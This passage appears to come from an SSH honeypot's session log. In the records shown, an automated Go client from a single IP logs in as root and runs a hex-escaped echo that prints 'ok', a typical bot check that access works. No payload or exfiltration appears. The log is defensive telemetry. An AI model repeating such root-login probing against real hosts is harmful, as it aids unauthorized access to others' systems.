  "ended_at": "2026-08-23T09:47:38.035460+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f0e1561-b8db-4830-bd59-ec67094a678f",
  "name": "civil-granite-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:33.995290+00:00",
  "ended_at": "2026-08-23T09:47:35.794014+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "61d8dd5a-0900-417a-9061-de3457f0adfd",
  "name": "fickle-austere-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35504,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:31.737074+00:00",
  "ended_at": "2026-08-23T09:47:33.321003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f5a447d4-3eaa-4416-8ea2-af68c549ae7c",
  "name": "vivid-amiable-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35496,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:29.056075+00:00",
  "ended_at": "2026-08-23T09:47:31.081000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f264379f-a7ac-4155-a7e3-5fe2f33d24e5",
  "name": "early-boreal-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:26.713267+00:00",
  "ended_at": "2026-08-23T09:47:28.328138+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3bc88472-bd6b-49c8-a974-ba8b246b5212",
  "name": "sunlit-pleasant-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:23.709293+00:00",
  "ended_at": "2026-08-23T09:47:25.849999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "18583f59-dd78-438e-b215-05b7bffdf640",
  "name": "kindly-sandy-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:21.145324+00:00",
  "ended_at": "2026-08-23T09:47:23.093016+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66a0aba5-4ef1-4d4f-a871-014d9f5e4c0b",
  "name": "hollow-smoky-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:18.673527+00:00",
  "ended_at": "2026-08-23T09:47:20.393074+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "24eb2c49-7bd7-4bb9-9cf3-f724c75ea9d8",
  "name": "lonesome-murky-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57976,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:16.581260+00:00",
  "ended_at": "2026-08-23T09:47:17.870891+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e9cb05af-6300-4868-9bac-f75b096acc21",
  "name": "diligent-peaty-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:13.919563+00:00",
  "ended_at": "2026-08-23T09:47:15.896999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "daed9d7d-edaf-4730-a02a-4a2939f2b7cd",
  "name": "lively-graceful-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:12.125357+00:00",
  "ended_at": "2026-08-23T09:47:13.207996+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c914bcd-47ff-4527-8eae-245195724846",
  "name": "serene-cosmic-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:09.980292+00:00",
  "ended_at": "2026-08-23T09:47:11.339998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "99c79063-0692-4e5a-a007-18bfd56d58a8",
  "name": "hidden-buoyant-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:07.203476+00:00",
  "ended_at": "2026-08-23T09:47:09.211010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3a238048-1b8f-40df-9a4d-d62df84f2f46",
  "name": "placid-sincere-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48018,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:05.314438+00:00",
  "ended_at": "2026-08-23T09:47:06.374409+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "24fa3269-5e32-4b13-879e-ebfc16b2c44a",
  "name": "hardy-seaward-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48004,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:02.760556+00:00",
  "ended_at": "2026-08-23T09:47:04.514075+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "55fce1d3-99f9-4a00-8e6b-49c736ff58c7",
  "name": "bold-arctic-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:01.011047+00:00",
  "ended_at": "2026-08-23T09:47:01.997001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b46507c-cb5b-4677-b889-55ae6dce3461",
  "name": "languid-downy-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:58.122960+00:00",
  "ended_at": "2026-08-23T09:47:00.184459+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "849cdb1c-6a4f-480d-9664-455bef2e07e5",
  "name": "stoic-ancient-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:55.586411+00:00",
  "ended_at": "2026-08-23T09:46:57.472004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "269eaf6d-9728-43ba-a086-3da995ff38de",
  "name": "grumpy-mossy-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:53.138138+00:00",
  "ended_at": "2026-08-23T09:46:54.785345+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7a255035-937f-40ec-9106-4ee5629dd9aa",
  "name": "humble-faded-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:51.008170+00:00",
  "ended_at": "2026-08-23T09:46:52.485425+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d40d0cf0-750f-4f86-85b9-f232d28a880b",
  "name": "scarlet-sterling-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:47.995091+00:00",
  "ended_at": "2026-08-23T09:46:50.247537+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc4fd670-a436-49f8-9d9f-a5d052058731",
  "name": "painted-quaint-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48184,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:45.596997+00:00",
  "ended_at": "2026-08-23T09:46:47.314016+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "44c71be8-4a6c-4ade-a5a6-c067ecf9d3e6",
  "name": "patient-salty-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:43.312132+00:00",
  "ended_at": "2026-08-23T09:46:44.747423+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0507f05a-49b3-41c9-8eb1-6632c0689399",
  "name": "deft-electric-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:41.127083+00:00",
  "ended_at": "2026-08-23T09:46:42.605670+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29e51c59-64c0-4314-a090-9279fd3b5de1",
  "name": "dapper-dewy-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:38.969783+00:00",
  "ended_at": "2026-08-23T09:46:40.459157+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ef2489f6-7b9e-4715-bfb3-8beb391613a7",
  "name": "vernal-mighty-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:36.193419+00:00",
  "ended_at": "2026-08-23T09:46:38.342225+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28b1014e-953d-48a9-966c-a52541773d99",
  "name": "vivid-blunt-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:34.313100+00:00",
  "ended_at": "2026-08-23T09:46:35.529999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e5ac7394-96f5-4f9b-b1c6-97d2adbc832a",
  "name": "marine-hollow-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38692,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:31.543143+00:00",
  "ended_at": "2026-08-23T09:46:33.492999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8f15cfb8-35b2-452c-9577-26d90837e212",
  "name": "keen-rapid-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:28.708079+00:00",
  "ended_at": "2026-08-23T09:46:30.768998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e8a09015-8ffe-4e97-b732-a00985eb8a8d",
  "name": "amiable-patient-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:26.306473+00:00",
  "ended_at": "2026-08-23T09:46:28.086002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6201fb43-3383-44c8-8477-a8f1428202a3",
  "name": "sooty-velvet-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52418,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:23.415290+00:00",
  "ended_at": "2026-08-23T09:46:25.539403+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5e1a0efb-020f-41db-bd55-f41e0a5ae1bf",
  "name": "pristine-watchful-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:20.535539+00:00",
  "ended_at": "2026-08-23T09:46:22.701760+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a72f4de3-7997-4c46-9f0f-502da2c8879c",
  "name": "snowy-proud-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:17.866514+00:00",
  "ended_at": "2026-08-23T09:46:19.731027+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c504ca8a-c70e-412f-8881-2301d496fffa",
  "name": "fearless-meadow-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55722,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:15.014452+00:00",
  "ended_at": "2026-08-23T09:46:17.143914+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "940ae3e3-a88d-48d7-9464-3887d5427568",
  "name": "crisp-smoky-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:12.699087+00:00",
  "ended_at": "2026-08-23T09:46:14.256516+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1fffa56d-79aa-42d5-8213-52da287a9330",
  "name": "steady-gritty-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:10.953326+00:00",
  "ended_at": "2026-08-23T09:46:12.033014+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b9288e22-07b9-4202-8ec9-733147e239cc",
  "name": "primal-misty-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55692,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:09.030397+00:00",
  "ended_at": "2026-08-23T09:46:10.193193+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28107703-fcfd-4a56-8c39-4ee56eb9c313",
  "name": "verdant-tender-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:07.314485+00:00",
  "ended_at": "2026-08-23T09:46:08.211007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1c62f185-797a-41d6-83c1-ba5e4ae735f7",
  "name": "amiable-fierce-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:04.870281+00:00",
  "ended_at": "2026-08-23T09:46:06.599999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ca7be31-7173-4693-a4b6-870dd38a1acd",
  "name": "diligent-cobalt-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57832,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:46:02.414131+00:00",
  "ended_at": "2026-08-23T09:46:04.241398+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a001de4f-f385-4b30-842c-70823e3ca3ea",
  "name": "bold-sturdy-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57826,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:59.673204+00:00",
  "ended_at": "2026-08-23T09:46:01.700035+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a6e2ee3b-3892-4437-a932-24ec859c51ef",
  "name": "pleasant-ruddy-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42970,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:57.929611+00:00",
  "ended_at": "2026-08-23T09:45:58.847013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9a697e8-35e8-4f50-af65-4436c84bda38",
  "name": "quartz-sullen-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:55.721128+00:00",
  "ended_at": "2026-08-23T09:45:57.170014+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03093bee-7fa8-46ba-9b47-07da6345b29c",
  "name": "gleaming-jovial-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:52.842579+00:00",
  "ended_at": "2026-08-23T09:45:54.950687+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d5308d62-a4d1-44d4-ad04-88087fbbf95f",
  "name": "courtly-canny-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:50.751075+00:00",
  "ended_at": "2026-08-23T09:45:52.089020+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5a983df5-6061-47df-a35e-4b932f075a37",
  "name": "arctic-indigo-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:48.325338+00:00",
  "ended_at": "2026-08-23T09:45:50.094042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "73db048a-6710-49fb-97ce-e2b8242a2a99",
  "name": "downy-knotted-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:45.629157+00:00",
  "ended_at": "2026-08-23T09:45:47.614021+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "747fe3b1-0427-432e-acc0-0e8bda87c9e7",
  "name": "shifting-watchful-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:43.113063+00:00",
  "ended_at": "2026-08-23T09:45:44.927885+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "71c316b3-9700-45dc-ad69-325b81ed1b10",
  "name": "breezy-hushed-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:41.253528+00:00",
  "ended_at": "2026-08-23T09:45:42.483130+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb6fa052-b68e-43f0-9577-94cfbf383363",
  "name": "verdant-lonesome-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:39.455081+00:00",
  "ended_at": "2026-08-23T09:45:40.436005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
